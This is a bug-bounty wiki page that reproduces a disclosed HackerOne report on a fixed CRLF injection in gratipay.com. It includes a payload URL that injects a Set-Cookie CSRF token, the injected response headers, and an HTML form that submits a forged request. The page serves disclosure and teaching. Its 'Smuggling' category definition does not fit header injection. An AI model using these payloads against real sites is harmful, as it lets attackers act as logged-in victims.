Skip to content
Smuggling / CRLF Disclosed report Intermediate

[gratipay.com] CRLF Injection

A CRLF injection in the site's redirect handling let an attacker inject a Set-Cookie header into the response. Because the attacker could set the CSRF token cookie to a known value, they could bypass CSRF protection and submit state-changing requests on a victim's behalf.

bobrov Follow

Originally disclosed on HackerOne

Bounty$40 High View original
  • Fixed in under an hour
  • Paid in 7 months
  • Disclosed after 22 days

CRLF Injection

(Chrome, Internet Explorer)

http://gratipay.com/%0dSet-Cookie:csrf_token=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;

HTTP Response:

Location: https://gratipay.com/\r
Set-Cookie:csrf_token=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;\r\n

CSRF Protection Bypass via CRLF Injection

PoC:

HTML
<form id="csrf" action="https://gratipay.com/~fickov/statement.json" method="POST"> 
<input type="hidden" name="lang" value="en" /> 
<input type="hidden" name="content" value="CSRF&#95;TEST" /> 
<input type="hidden" name="csrf&#95;token" value="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" /> 
<input type="submit" value="Submit request" /> 
</form> 
{{media:0}}

This vulnerability has been fixed.

The original report as published on HackerOne, by bobrov. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the application placed unvalidated user input into a response header (the redirect Location) without stripping carriage-return and line-feed characters, allowing header injection.

Impact

An attacker could bypass CSRF protection and perform actions as a logged-in victim; the report notes the issue affected Chrome and Internet Explorer and has since been fixed.

What the attacker needed

Victim visits attacker page; victim logged in to the site

The fix

The vulnerability was fixed; the text does not say how.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a web server sends a response, it separates headers with special line-break characters. If user input containing those characters reaches a header, an attacker can sneak in extra headers of their own. Here the attacker added a cookie that the site uses to check form submissions, so they could make a logged-in victim's browser send a request the site would wrongly trust.

What is Smuggling / CRLF?

A front end and a back end split one connection's bytes into requests differently, letting an attacker hide a request inside another user's.

More by bobrov

View all

39 more disclosed reports, best first.

More from Gratipay

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Request smuggling and header injection

The lesson behind this report.

A front end and a back end split one connection's bytes into requests differently, letting an attacker hide a request inside another user's.